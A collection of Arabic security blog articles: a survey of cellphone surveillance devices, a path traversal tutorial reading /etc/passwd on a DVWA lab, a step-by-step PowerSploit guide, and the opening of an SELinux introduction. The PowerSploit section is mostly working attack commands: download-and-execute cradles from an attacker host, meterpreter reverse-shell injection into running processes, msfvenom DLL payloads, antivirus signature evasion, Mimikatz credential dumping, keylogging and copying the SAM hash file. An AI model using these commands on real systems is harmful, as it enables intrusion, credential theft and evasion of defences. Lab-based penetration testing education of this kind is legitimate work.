جهاز Winddjammer يعتبر محاكي فضائي يدوي ويستخدم لتحديد موقع اجهزة الجوال او اطلاق هجوم DOS على هدف معين. يقوم بخداع الاجهزة الفضائية باقناعهم انهم يتواصلون بالشبكة القانونية. صنعت من قبل SR Technology Inc والتي عرضته للبيع بسعر 192,000$.

image10

Hailstorm:


جهاز Hailstorm هو جهاز مراقبة يمكن ان يشترى كوحدة مستقلة او كتطوير لجهازي Stingray,Kingfish. النظام يسمح بتعقب الاجهزة الخلوية حتى لو كان اعتمادهم على تكنولوجيا متقدمة.تكلفته هي 169,602$ اذا بيعت كوحدة مستقلة ويمكن ان تكون ارخص اذا بيعت كتطوير لاجهزة المراقبة الاخرى.

Raven:


جهاز Raven يعتبر واحد من اقوى الادوات لمراقبة WCDMA, قادر على استجواب وتحديد اماكن الاجهزة. يعمل على الارض او في الجو. من بين قيود هذا الجهاز انه يحتاج الى جهاز فاحص(ماسح) شبكة منفصل وبامكان Raven ان يقوم بهجمات DOS خلال عمله على شبكة UMTS.سعره هو 800,000$.

 image12Garuda (g-box) and the Carman II:

جهاز G-Box يعتبر نظام تحديد الاماكن وهو محمول جوا ويحاكي محطات شبكات GSM الرئيسية ويقوم بخداع اجهزة الضحايا بالاتصال بها.الجهاز قادر على التجسس فقط على الاجهزة التي تحمل ارقام IMSI و IMEI الموجودة في قائمة المراقبة.

عندما يقوم الجهاز المستهدف بالتسجيل في الصندوق”Box” ,يتم حساب المكان الجغرافي. يكلف مايقارب 185,000$.

image14

يوجد ايضا جهاز Carman II,aka C-Box II وهي من نوع GSM BTS وتعمل عمل جهاز Garuda. تعمل على النطاقات 850/900/1800/1900 MHz GSM وسعرها 130,000$.

image15

Artemis and Artemis II:


جهاز Artemis يعتبر من ضمن عائلة GSM لتحديد المكان الجغرافي وانتج من قبل شركة Martone Raio Technology (MRT) ويعمل مثل جهازي Carman و G-box. والقيود التي تتعلق بهذا الجهاز هي انه لايمكن وضعها على طائرة وتستخدم فقط على الارض.

النسخة Artemis T التي تستخدم من اجل هواتف Thuraya قيد التطوير. الجهازين Artemis,Artemis II يكلفان 83,333$.

image16

Maximus:


جهاز Maximus هو محاكي GSM ارضي و جهاز تحدد اماكن جغرافي يقوم بمحاكاة جهاز BTS to STIM handset into RF TCH allowing for DF. قام النظام بدمج جهاز Artemis لتحقيق وظيفة تحديد المكان الجغرافي. يمكنه العمل على بعد 1-4 كيلو متر, وللاستيلاء على جهاز الهدف يجب ان يكون بحالة العمل وليس مغلق ويجب عدم قيامه باجراء مكالمات وقت القيام باستهدافه.لقد بيع من قبل Martone Radio Technlogy Inc بسعر 365,000$.

image17

DeepPark:


جهاز DeepPark صنع من قبل Rincon IAW NRO وعرض للبيع بقيمة 250,000$.

جهاز المراقبة هذا يمكنه استهداف اجهزة الخلوي التي تعمل على “450 sub-band A/C, 800, and 1900MHz CDMA-2000 & IS-95”. يمكنه القيام بالمحاكاة الفعالة والغير فعالة وتحديد المكان الجغرافي للاجهزة. ويختلف عن الكثير من الاجهزة المشابه بانه لايمكنه القيام بهجمات DOS على النظام.

image17

Nebula:


جهاز Nebula هو جهاز مراقبة اخر طول من قبل خبراء NSA. Nebula نظام تحديد اماكن صمم لمراقبة GSM(Multi-Band),CDMA,UMTS و HSDPA. حاليا يمكنه استهداف HPCP,GSM,Inmarsat,Thurya,CDMA-2000 و اجهزة . الجهاز قادر على اقفال والامساك بحركة البيانات من على بعد 12 ميل وقادر على تحديد مكان الجهاز من على بعد 200 متر.

image19

التجسس من السماء:


في شهر نوفمبر من عام 2014, كشفت صحيفة Wall Street Journal عن برنامج مراقبة امريكي سري يرفع على ابراج هاتف خلوي وهمية مركبة على طائرا وتقوم بمسح اجهزة الامريكين وسرقة معلوماتهم.

image20

تقوم اشارات البرج بخداع الاجهزة الخلوية وجعلها تتحول تلقائيا لاستقبال اشاراتها,هذا الاسلوب استخدم للتجسس على الاجهزة الخلوية اطلق عليها اسم Stingray. الصناديق التي استخدمت في البرنامج تسمح للطائات بالتظاهر على إنها اقرب برج هاتف خلوي, والذي يوجه الاجهزة الخلوية التي توجد تحت المراقبة الى كشف مكانها ومعلومات الهوية, حتى ولو وجد برج حقيقي اقرب من الطائرة.
تملك اجهزة Dirt Boxes القدرة ايضا على اعتراض المكالمات, برغم ذلك حاول المسؤلون  التخفيف من العواقب الضارة من تلك الوظيفة .
الطائرات مجهزة باجهزة المراقبة التي تقلد ابراج الارسال للشبكات الكبيرة وتخدع الاجهزة الخلوية الى الابلاغ عن معلومات التسجيل الخاصة,
هذا الاسلوب سمح للسلطات  بالتجسس عشرات الالوف من الاجهزة الخلوية بجولة طائرة واحدة و جمع معلومات  metadata ومعلومات اخرى.

المستند الذي كشف عبر The Intercept زود بمعلومات اضافية عن الجهزة والملحقات التي يمكن ان تثبت على طائرات او طائرات بدون طيار للتجسس على الاجهزة الخلوية.

وهنا قائمة بمعدات المراقبة:

Name Vendor Price Description
Icarus – NVDF AST (Raytheon) $1,5 Mil Geolocation System
Twister Firescout APG Northrop Grumman  N/A Base Station Router
Traveler (EW-FOS) BAE Systems $750K Active/passive GSM geo-location System
Guava G-POD/STE LOS Northrop Grumman IS ICW General Atomics N/A GSM airborne (UAV) geo-location system
Garwind – Blos POD N/A N/A GSM airborne (UAV) geo-location system
Gilgamesh Sierra Nevada Corporation ICW NSA OTRS/DAED and General Atomics N/A Geo-location system
Airhandler Sierra Nevada Corporation ICW NSA OTRS/DAED and General Atomics N/A Geo-location system

 

الخلاصة:

  • المعلومات التي كُشفت من The Intercept مجمعة في مستند مزود بمصدر مجهول في الاستخبارات الامريكية ويعتبر ثمين جدا لفهم طرق التحقيق منفذي القانون الاستخبارات الامريكية.تقنية Stingray رفعت جديا مقدار القلق لانها تستخدم انشطة مراقبة والتصيد.

  • بالرغم من أن المراقبة المفرطة ممنوعة في الولايات المتحدة حسب التعديل الرابع . ايضا منظمات الدفاع على الحريات المدنية ترجو من الحكومة ان تقوم بتزويد التفويضات لاستخدام تقنيات المراقبة مثل Stingray.

  • المنظمات مثل اتحاد الحريات المدنية الامريكية” American Civil Liberties Union” و مركز المعلومات الالكترونية الخاصة Electronic Privacy Information Center اشارو في كثير من القضايا بان المخاطر المتعلقة باستخدام مثل هذه الطرق بالتحقيقات.

  • على الرغم من الجدال الساخن حول تقنيات المراقبة, لكن مثل هذه الاجهزة تمثل حل متميز من اجل عمليات المراقبة السرية المنفذة من قبل الحكومات العالمية.

ترجمة بتصرف لمقال : Cellphone Surveillance: The Secret Arsenal

مقال : هجوم تجاوز المسار Path Traversal Attack

$
0
0

عدم استخدام طرق للتحقق من دخل المستخدم الغير مسموح به يمكن أن يؤدي إلى استغلال النظام ويتيح لمختبر الاختراق قراءة وكتابة الملفات الغير مصرح له بالوصول إليها وعندها يمكنه تنفيذ كود خبيث على السيرفر أو تنفيذ تعليمات على النظام الهدف.

سيرفرات الويب وتطبيقات الويب تستخدم طريقة للمصادقة من أجل التحكم بالوصول إلى الملفات والمصادر.

Path-Traversal-Attack

سيرفر الويب يحاول تخصيص مساحة لكل مستخدم وكل مستخدم يمكنه الوصول فقط للمساحة المخصصة له لرفع ملفات تطبيق الويب الخاص به.

تعريف الصلاحيات يتم من خلال قائمة التحكم بالوصول (Access Control Lists (ACL والتي تحدد أي مستخدمين أو أي مجموعات مسموح لهم بالوصول والتعديل على الملفات في السيرفر.

هذه الطريقة مُعدة لتقوم بمنع المستخدم الخبيث من الوصول إلى الملفات التي تحوي على معلومات حساسة مثل الملف (etc/passwd/) ولمنعه من تنفيذ تعليمات على النظام.

تطبيق الويب يمكن أن يكشف معلومات حساسة إذا لم يتم التحقق من برامترات الدخل بشكل جيد.

في هجموم تجاوز المسار path traversal في سيرفرات وتطبيقات الويب فإن مختبر الاختراق يكون قادر على قراءة الملفات والمجلدات الغير مصرح له بالوصول إليها (موجودة خارج المساحة المخصصة لتطبيق الويب)

هذا الهجوم يعرف باسم dot-dot-slash attack ( ../ ) أو باسم backtracking ويحدث هذا الهجوم عندما يحاول مختبر الاختراق إبطال مفعول أي إجراءات حماية ومصادقة قام بوضعها مدير التطبيق ومبرمج التطبيق للسماح لمستخدمي التطبيق بالوصول فقط إلى مجلدات معينة دون مجلدات أخرى.

هذا النوع من الهجوم يتم عادتاً من قبل مستخدم قام بعملية المصادقة في التطبيق ويقوم بفحص المصادر التي يمكن للمستخدم العادي الوصول إليها ثم يقوم بخلق طلب خبيث لاستخدامه بالوصول إلى المصادر الغير مصرح له بالوصول إليها.

بنية ملفات سيرفر الويب:

في هذا المثال نستخدم سيرفر يعمل بنظام التشغيل لينكس والتطبيق الهدف هو DVWA فإن بنية المجلدات ستكون كما في الشكل التالي:

web-server-arch

web-server-arch2

المجلدات ذات اللون الأزرق هي المجلدات التي يسمح تطبيق الويب للمستخدم بالوصول إليها، وكل المجلدات ذات اللون الأبيض لا يسمح لمستخدمي تطبيق الويب الوصول إليها وهي مخصصة فقط لمدير السيرفر.

تنفيذ هجوم تجاوز المسار يسمح لك بالوصول إلى المصادر الغير مصرح لك الوصول إليها

فحص هذه الثغرة :

  • تعداد عوامل الدخل:

من أجل تحديد أجزاء التطبيق المصابة بهذه الثغرة يجب على مختبر الاختراق أن يقوم بتعداد كل الأجزاء التي تقبل دخل من المستخدم وهذا يتضمن طلبات HTTP GET and POST وكل الصناديق التي تقبل دخل من المستخدم

  • طريقة الفحص:

الخطوة التالية هي تحليل طريقة التحقق من الدخل المستخدمة في تطبيق الويب حيث أن مختبر الاختراق يمكن أن يقوم بإدخال ” ../../../../etc/passwd ” كجزء من عنوان URL من أجل عرض محتوى ملف /etc/passwd والذي يحوي على الهاش hash الخاص بكلمات السر، هذا النوع من الهجمات يمكن أن يحدث عن فشل التحقق من الدخل المقدم من المستخدم.

لنجاح هذا الهجوم يجب على مختبر الاختراق أن يكون على معرفة بنوع نظام التشغيل الهدف (طبعاً لا يمكن طلب الملف /etc/passwd من سيرفر يعمل ينظام IIS)

سوف نقوم بهجوم تجاوز المسار (التنقل عبر المجلدات) من أجل الوصول إلى ملفات في سيرفر الويب غير مصرح لنا بالوصول إليها.

هذه الثغرة تسمح لنا أيضاً برفع ملفات وتغير الإعدادات في سيرفر الويب.

أول مرحلة في هذا الهجوم هي معرفة المكان الموجودة فيه ملفات تطبيق الويب على السيرفر ومن ثم محاولة الانتقال لمسارات أخرى (مجلدات أعلى) باستخدام التعليمة ” /.. “ عدد من المرات لاستغلال هذه الثغرة.

لاختبار هذه التغرة نستخدم هذه التعليمة ” /.. ” عدد من المرات إلى أن نحصل على العدد الصحيح وهو عدد المجلدات الموجودة في هذا المسار.

PTA-etc

نتيجة طلب هذا العنوان سوف تعرض محتوى الملف etc/passwd/

etc-result

استخدمنا ” /.. ” 6 مرات من أجل الوصول إلى /etc/passwd وهذا يعني أنه يمكننا الوصول إلى root directory بتجاوز الملفات أربع مرات.

تمكنا من تجاوز المسار المخصص لتطبيق الويب وقمنا بكشف معلومات حساسة عن السيرفر الهدف.

 

مقال : شرح إستخدام سكربتات PowerSploit وإستغلالها على نظام ويندوز

$
0
0

PowerSploit  عبارة عن مجموعة من السكريبتات (PowerShell scripts) التي يمكن استخدامها في مرحلة الاستغلال exploitation و مرحلة ما بعد الاستغلال post exploitation في عمليات اختبار الاختراق.

يمكنك الحصول على أحدث نسخة من PowerSploit من هنا.

كما يمكنك استخدام التعليمة التالية لتحميل PwoerSpolit بشكل مباشر من github باستخدام الأمر التالي :

git clone https://github.com/mattifestation/PowerSploit.git

powershell

من أجل تشغيل هذه السكريبتات يجب أن يكون الجهاز الهدف يحوي على Microsoft PowerShell وهو موجود ومنصب بشكل تلقائي في نظام التشغيل Windows 7 والأنظمة ذات الإصدارات الأحدث.

في السيناريو التالي نفترض أن لدينا اتصال remote desktop connection مع الجهاز الهدف الذي يعمل بنظام التشغيل Windows 7 Ultimate 64-bit ويحوي بشكل تلقائي على PowerShell منصب بشكل مسبق. من أجل تسهيل عملية الوصول وتشغيل سكريبتات PowerSploit في جهاز الهدف سوف نقوم بتشغيل سيرفر ويب باستخدام البايثون وذلك باستخدام التعليمة التالية ضمن المسار الخاص بمجلد  powersploit لتسهيل عملية جلب الملفات من جهازنا الى الجهاز المراد تنفيذ السكربتات فيه .

python –m SimpleHTTPServer

python webserver

الان يمكننا الوصول لكل الملفات الموجودة في المجلد PowerSploit من خلال المتصفح عبر الرابط التالي:

 

http://<ip_address>:8000/

3

السكريبتات الموجودة في PowerSploit موزعة ضمن التصنيفات التالية:

التصنيف

الوصف

Antivirus Bypass إيجاد البايتات bytes المطابقة للبصمة أو التوقيع signature المكتشف من قبل مضاد الفيروسات.
Code Execution تنفيذ الكود في الجهاز الهدف.
Exfiltration جمع البيانات والمعلومات من الجهاز الهدف.
Persistence المحافظة على التحكم بالجهاز الهدف من خلال إضافة سكريبت يضمن عملية المحافظة على الوصول persistence script
PE Tools مفيدة في عملية Enumeration في الجهاز الهدف.
Recon تنفيذ عمليات الاستطلاع في الجهاز الهدف.
Revers Engineering تساعد في عمليات الهندسة العكسية وتحليل البرمجيات الخبيثة.
Script Modification انشاء وتعديل السكريبتات في الجهاز الهدف.

في هذا المقال سوف نشرح أكبر قدر ممكن من سكريبتات PowerSploit , بعض السكريبتات التي لن نشرحها تحتاج لمتطلبات محددة في البيئة الهدف (مثل وجود Active Directory) مثل بعض السكريبتات ضمن التصنيف Exfiltration.

من أجل تنصيب وتشغيل script PowerShell نستخدم التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/full_path/script_name.ps1”)

Invoke-Shellcode:


تستخدم من أجل حقن وتنفيذ shellcode معين أو Metasploit payload في عملية موجودة أو في عملية جديدة. الميزة من استخدام هذه التعليمة أنها غير مكتشفة من قبل مضادات الفيروسات وتعمل بدون أن تقوم بالكتابة على القرص الصلب.

يمكننا تنصيب “Code Execution  PowerShell script “invoke-ShellCode باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-Shellcode.ps1”)

4

للحصول على بعض المعلومات الأساسية يمكننا استخدام التعليمة التالية:

Get-Help Invoke-Shellcode

5

يمكننا حقن payload في العملية الحالية الخاصة ب PowerShell للحصول على جلسة اتصال عكسي meterpreter reverse HTTPS باستخدام التعليمة التالية:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.0.0.14 -Lport 4444 –Force

6

يجب أن نقوم بإعداد Handler في الميتاسبلويت قبل القيام بعملية الحقن من أجل استقبال الاتصال العكسي وتتم هذه العملية من خلال فتح الميتاسبلويت وكتابة التعليمات التالية:

use exploit/multi/handler

set payload windows/meterpreter.reverse_https

set LHOST 10.0.0.14

set LPORT 4444

exploit

7

حاليا, يوجد فقط 2 Metasploit payload مدعومة وهي:

Windows/meterpreter/revers_http

Windows/meterpreter/reverse_https

إذا كنا نريد حقن payload في عملية أخرى، يمكن أن نقوم بأنشاء عملية جديدة ومن ثم نحق بها أو أن نقوم بعملية الحقن في عملية أخرى موجودة مسبقاً.

الحقن في عملية موجودة مسبقاً:


يجب أن نعرف رقم العملية PID – Process ID ويتم ذلك باستخدام التعليمة :

Get-Process

8

في هذا المثال سنقوم بحقن Metasploit payload في العملية “svchost” ذات الرقم PID: 1228

Invoke-Shellcode –Processid 1228 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444

9

يجب أن نقوم بإعداد handler في الميتاسبلويت ليقوم باستقبال الاتصال العكسي وعند القيام بعملية الحقن السابقة سوف نحصل على جلسة meterpreter مع الجهاز الهدف

10

الحقن في عملية جديدة:


يجب أن نقوم أولاً بانشاء عملية مخفية باستخدام التعليمة التالية:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

ومن ثم القيام بعملية الحقن باستخدام التعليمة التالية:

Invoke-Shellcode –Processid 1476 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444

11
يجب أن نقوم بإعداد handler في الميتاسبلويت قبل القيام بعملية الحقن وسوف نحصل على جلسة meterpreter مع الجهاز الهدف

10

Invoke-DllInjection:


هذه التعليمة تستخدم لحقن ملف DDL في عملية موجودة من خلال استخدام رقم العملية PID – Process ID .  إحدى نقاط ضعف هذه التعليمة أنها تتطلب كتابة DDL على القرض الصلب.

يمكننا تنصيب PowerShell script “invoke-Dllinjection” على الجهاز الهدف باستخدام التعلية التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-DllInjection.ps1”)

13

يمكننا توليد Metasploit meterpreter DLL باستخدام Msfvenom باستخدام التعليمة التالية في نظام الكالي:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.14 LPORT=4444 -f dll > msf.dll

ومن ثم نقل هذا الملف إلى الجهاز الهدف من خلال تحميله بواسطة HTTP download أو بأي طريقة أخرى ثم انشاء عملية مخفية باستخدام التعليمة:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

ومن ثم حقن DLL في هذه العملية

Invoke-DllInjetion -ProcessID 2240 -Dll c:\users\master\Desktop\msf.dll

14

وسوف نحصل على جلسة meterpreter مع الجهاز الهدف

15

Find-AVSignature:


تستخدم من أجل تقسيم الملف إلى عدد من الأجزاء بحجم محدد وحفظ هذه الأجزاء في ملفات منفصلة لنتمكن من تحديد أي الأجزاء التي سيتم اكتشافها وعزلها أو حذفها من قبل مضاد الفيروسات الموجود في الجهاز الهدف وبهذه الطريقة نستطيع تحديد الأجزاء التي تحوي على التوقيع أو البصمة signature المكتشفة من قبل مضاد الفيروسات.

يمكننا تنصيب “PwerShell script “Find-AVSignature في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/AntivirusBypass/Find-AVSignature.ps1”)

16

ومن ثم نقوم بالبحث عن الجزء الذي يحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات باستخدام التعليمة التالية:

Find-AVSignature -StartByte 0 -EndByte 6144 -Interval 50 -Path C:\test\exempt\nc.exe -OutPath c:\users\master\Desktop\msf.exe -OutPath c:\users\master\Desktop\run1 –Verbose

17

مضاد الفيروسات الموجود في الجهاز الهدف سيقوم بكشف أجزاء الملف الخبيثة والتي تحوي على البصمة أو التوقيع signature

18

الآن يمكننا رؤية bytes of “msf.exe” التي تحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات.

Get-DllLoadPath:


تستخدم من أجل إيجاد المسار الذي يقوم الملف التنفيذي بالبحث عنه من أجل تحميل ملف DLL , مثلاً لتحديد المكان الذي يقوم برنامج “cmd.exe.” بالبحث عنه من أجل تحميل “shell32dll” DLL file

باستخدام هذه المعلومات يمكننا تبديل ملف DLL الأصلي بملف DLL خبيث لنحصل على جلسة عكسية أو تنفيذ مهمة أخرى بعد تشغيل هذا البرنامج، وهذه العملية مفيدة جداً في تجاوز الصلاحيات privilege escalation.

يمكننا تنصيب PowerShell script “Find-DllLoadPath” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/PETools/Get-DllLoadPath.ps1”)

19

لمعرفة من أي موقع يقوم البرنامج “Acroat.exe” بتحميل ملف “shell32dll” DLL نستخدم التعليمة التالية:

Get-DllInjection –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.d

20

Invoke-Portscan:


تستخدم من أجل القيام بفحص المنافذ port scan لمعرفة المنافذ المفتوحة بشكل مشابه لأداة nmap

يمكننا تنصيب PowerShell script “Invoke-Portscan” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-Portscan.ps1”)

21

ومن ثم البدء بعملية فحص لعدد من المنافذ والأجهزة باستخدام التعليمة التالية:

Invoke-Portscan -Hosts 10.0.0.1,10.0.0.2,10.0.0.7,10.0.0.14 -Ports “23,22,21,8080,8000,3389”

22

لمعرفة كل الخيارات المستخدمة يمكننا استخدام التعليمة التالية:

Get-Help Invoke-PortScan –full

كما يمكن حفظ النتيجة في ملف خارجي باستخدام إحدى الخيارات التالية: oG, -oX and –oA-

Invoke-ReverseDnsLookup:


تستخدم من أجل إيجاد سجلات DNS PTR للحصول على عنوان IP المقابل لعنوان DNS.

يمكننا تنصيب Recon PowerShell script “Invoke-ReverseDnsLookup” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-ReverseDnsLookup.ps1”)

23

ومن ثم استخدام التعليمة التالية:

Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>

24

Get-HttpStatus:


تستخدم من أجل البحث في سيرفر الويب عن أكود الحالة الخاصة بطلبات HTTP وتقبل ملف نصي يحوي على مسار البحث في سيرفر الويب.

يمكننا تنصيب Recon PowerShell script “Get-HttpStatus” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Get-HttpStatus.ps1”)

25

ومن ثم استخدام التعليمة التالية:

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt

26

إذا كان السيرفر يستخدم SSL يمكننا اضافة “-UseSSl” لإرسال طلبات HTTPS

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt –UseSSL

27

وإذا كانت الخدمة تعمل على منفذ مختلف مثل 8080 او 8000 يمكننا اضافة “-Port” لتحديد المنفذ المستخدم

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list.txt -Port 8080

28

Get-Strings:


تستخدم لإيجاد محارف Unicode or ASCII في ملف معين.

يمكننا تنصيب Reverse Engineering PowerShell script “Get-Strings” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/ReverseEngineering/Get-Strings.ps1”)

29

ومن ثم يمكننا استخدام التعليمة التالية:

Get-Strings -Path <file_name_with_path>

30

سكريبتات الهندسة العكسية تم نقلها من PowerSploit إلى PowerToolArsenal  يمكن زيارة الرابط هنا

Invoke-Mimikatz:


عبارة عن تطبيق لمشروع Mimkatz خاص ب PowerShell والتي يمكن أن تستخدم من أجل الحصول على كلمات السر الخاصة بالجهاز الهدف وهي من أكثر الأدوات المفيدة في عملية اختبار الاختراق.

يمكننا تنصيب Exfiltration PowerShell script “Invoke-Mimikatz” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-Mimikatz.ps1”)

 

31

ومن ثم يمكننا استخدام التعليمة التالية:

Invoke-Mimikatz –DumpCreds

32

Get-Keystrokes:


تستخدم من أجل تسجيل كل حرف يتم كتابته باستخدام لوحة المفاتيح في الجهاز الهدف ويتم حفظ السجل في نفس الجهاز ضمن المجلد temp

يمكننا تنصيب  Exfiltration PowerShell script “Get-Keystrokes”  في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Get-Keystrokes.ps1”)

33

ومن ثم يمكننا استخدام التعليمة التالية:

Get-Keystrokes -LogPath c:\users\master\desktop\keylogger.txt

السجل يتم حفظه في المسار التالي:

c:\users\master\desktop\keylogger.txt

34

Invoke-NinjaCopy:


تستخدم من أجل نسخ الملفات المحمية ضد النسخ أثناء فترة عمل النظام.

يمكننا تنصيب Exfiltration PowerShell script “Invoke-NinjaCopy”  في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-NinjaCopy.ps1”)

35
ومن ثم استخدام التعليمة التالية من أجل نسخ محتوى الملف SAM الذي يحوي على الهاشات الخاصة بكلمات السر

Invoke-NinjaCopy -Path “C:\Windows\System32\config\SAM” -LocalDestination “C:\Users\master\Desktop\SAM”

36

إذا حاولنا القيام بهذه العملية باستخدام تعليمة copy فلن تنجح هذه العملية وسوف نحصل على رسالة خطأ

37

 

ترجمة لمقال  : PowerShell Toolkit: PowerSploit لصاحبها Interference Security .

مقال : مقدمه الى SELinux المفاهيم الاساسية

$
0
0

SELinux أو “Security Enhanced Linux”   عباره عن ألية متقدمة للتحكم بالوصول الى النظام “Access Control” مبنيه في معظم توزيعات لينكس. تم تطويرها أساسا من قبل وكالة الأمن القومي الأمريكي لحماية أنظمة الكومبيوتر من الاختراق . مع الوقت, تم إصدار SELinux  للعامه وأصبحت التوزيعات تملكه وتدمجه مع الكود الخاص بها . العديد من مدراء الأنظمة يجدون ان SELinux  نوعا ما شي غير مفهوم .

وجود نظام SELinux مع الإعدادات الصحيحة يمكن له ان  يقلل من المخاطر الأمنية بشكل كبير.  ومعرفة القليل عنه يمكنها مساعدتك بحل رسائل الخطر المتعلقة بالدخول “Access error messages”.

في هذا الشرح سوف نتعلم المفاهيم المتعلقه بـ SELinux . سوف نلقي نظره على حزمه, أوامره , ملفات الإعدادات ورسائل الأخطاء المسجلة عندما يرفض الدخول. وسوف نرى ايضا بعض الأمثلة العملية عن SELinux.

ملاحظة:

جميع الأوامر والحزم والملفات التي سوف تظهر في هذا الشرح جربت على CentOS 7 بالرغم ان المفاهيم ستبقى كما هي في حزم لينكس الاخرى.

في هذا الشرح سوف نقوم بتنفيذ الأوامر بصلاحيات Root  الا اذا أشير الى غير ذلك.

لماذا SELinux


قبل البدء لنفهم بعض الأشياء او المفاهيم:

يقوم SELinux بتنفيذ مايعرف بالتحكم بالوصول الألزامي “Mandatory Access Control”. ينفذ هذا المفهوم على مفهوم  “Discretionary Access Control” ومايعرف بالتحكم التقديري للوصول .

لفهم DAC, لنفهم اليه تأمين ” ملف اللينكس التقليدي”.

في النموذج الأمن التقليدي, لدينا ثلاث مجموعات: user,group,other u,g,o والتي يمكنها ان تملك مجموعة من read,write,execute r,w,x مايعرف ب الصلاحيات على ملف او مجلد. اذا المستخدم jo قام بانشاء ملف في مجلد home, فهذا المستخدم سوف يملك صلاحيات الكتابة والقراءة read/write للملف, وكذلك للمجموعة jo.

مجموعة other لن تملك اي صلاحية للدخول للملف.في الكود القادم سوف نقوم بوضع تخيل افتراضي  لمحتويات home directory للمستخدم jo.

لاتحتاج لإنشاء مستخدم jo ,سوف نقوم بها لاحقا خلال هذا الشرح.

سوف نقوم بتنفذ الامر

 

/ls -l /home/jo

والنتيجة

total 4
rwxrw-r–. 1 jo jo 41 Aug  6 22:45 myscript.sh-

والأن jo يمكنه تغيير الصلاحيات. سيمكنه منح او تقييد الدخول للملف بالنسبة users,groups,others او تغيير مالك الملف. هذه الخطوات تترك ملفات مهمة لحسابات لايجب اعطاؤها صلاحيات الدخول إاليه. jo يمكنه التقييد لزيادة الأمان ولكن هذاالشئ تقديري لانه لايمكن لمدير النظام لتطبيق الأمان على كل ملف بالنظام.

لنتخيل حالة أخرى: عند تشغيل عملية معينة”Process” في لينكس, يمكن ان تعمل بصلاحيات root  او اي حساب أخر لديه ميزات superuser. هذا يعني اذا قام black-hat hacker بالسيطرة على التطبيق, يمكنه استخدام التطبيق للوصول الى اي مكان يستطيع حساب المستخدم الوصول اليه. العمليات التي تعمل بصلاحيات root , هذا يعني كل شئ في السيرفر.

قم بالتفكير بسيناريو عندما تريد تقييد المستخدمين من تنفيذ shell scripts من على home . كيف يمكنك فعل هذا.

SELinux يمكنها ضبط متطلبات سيطرة الدخول هذه بدقة تامة. مع SELinux ,يمكنك تحديد ماذا يمكنه المستخدم او العملية القيام به. يمكنه تحديد كل عملية لـ domain الخاص بها هذه يعني ان العملية يمكنها التفاعل مع بعض الأنواع من الملفات او عمليات أخرى من domains السموح بها. بهذا يمكننا منع المخترق من سرق اي عملية لكسب اي دخول للنظام.

إعداد نظام تجريبي


لنتعلم المفاهيم بسهولة, سوف نقوم ببناء سيرفر تجريبي يكون web & sftp سيرفر.

سوف نبدا بتنصيب CentOS 7 مع اقل الحزم المنصبة وسوف ننصب Apatche & vsftp) daemons) على السيرفر. على اي حال لن نقوم بإعداد اي من هذين التطبيقين, سوف نقوم أيضا بإنشاء بعض الحسابات التجريبية على cloud سيرفر. حيث اننا سوف نستخدم هذه الحسابات في اكثر من مكان خلال هذا الشرح.

أخيرا, سوف نقوم بتنصيب الحزم المتعلقة بSELinux لنتأكد من اننا سوف نعمل مع أخر اصدار لأوامر SELinux.

تنصيب خدمات Apache و SFTP 


أولا لنقم بالدخول للسيرفر بصلاحيات root  وتنفيذ الأوامر التالية لتنصيب Apache:

 

yum install httpd

وبالنسبة للنتيجة ستظهر الحزمة وهي تحمل وستسأل من اجل الموافقة على التنصيب:

 

Loaded plugins: fastestmirror, langpacks


==========================================================
Package Arch Version Repository Size
===========================================================
Installing:
httpd x86_64 2.4.6-18.el7.centos updates 2.7 M

Transaction Summary
===========================================================
Install 1 Package

Total download size: 2.7 M
Installed size: 9.3 M
Is this ok [y/d/N]:

 

وبالضغط على y سوف يتم تنصيب Apache web server daemon.

:Downloading packages
httpd-2.4.6-18.el7.centos.x86_64.rpm | 2.7 MB 00:01
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Installing : httpd-2.4.6-18.el7.centos.x86_64 1/1
Verifying : httpd-2.4.6-18.el7.centos.x86_64 1/1

:Installed
httpd.x86_64 0:2.4.6-18.el7.centos

Complete

قم بتشغيل daemon يدويا:

service httpd start

تنفيذ أمر service httpd status سيظهر اي من الخدمات التي تعمل حاليا:

Redirecting to /bin/systemctl status httpd.service
httpd.service – The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled)
Active: active (running) since Tue 2014-08-19 13:39:48 EST; 1min 40s ago
